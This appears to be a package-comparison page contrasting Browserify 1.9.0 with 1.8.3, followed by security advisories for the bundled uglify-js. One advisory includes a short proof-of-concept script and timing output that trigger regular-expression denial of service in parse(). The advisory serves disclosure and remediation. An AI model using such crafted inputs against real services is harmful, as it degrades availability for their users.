Browserify 1.9.0 represents a minor update to version 1.8.3, both iterations serving as browser-side solutions for utilizing Node.js-style require() statements for JavaScript modules and npm packages directly within web browsers. Developers familiar with Node.js can leverage their existing module knowledge to structure front-end code efficiently. Both versions support core dependencies like nub, deputy, resolve, optimist, commondir, detective, and coffee-script, ensuring compatibility with existing ecosystems.
The key difference lies in the updated development dependencies. Version 1.9.0 features Jade 0.20.0 and Connect is removed. Version 1.8.3 instead includes Jade 0.10.4 and Connect 1.4.1 <1.5. The update to Jade in the later version, suggests potential enhancements or bug fixes associated with template rendering during development. The decision to update these dependencies could impact the developer workflow, particularly those employing Jade for templating or Connect for server-side functionalities during development. These updates typically reflect ongoing efforts to improve tooling and potentially introduce breaking changes in the development environment, so developers need to verify if the version update requires changes to their existing templates. Furthermore, the release date shifted from January 4th to January 17th, indicating that version 1.9.0 incorporates fixes and features developed over those two weeks.
All the vulnerabilities related to the version 1.9.0 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.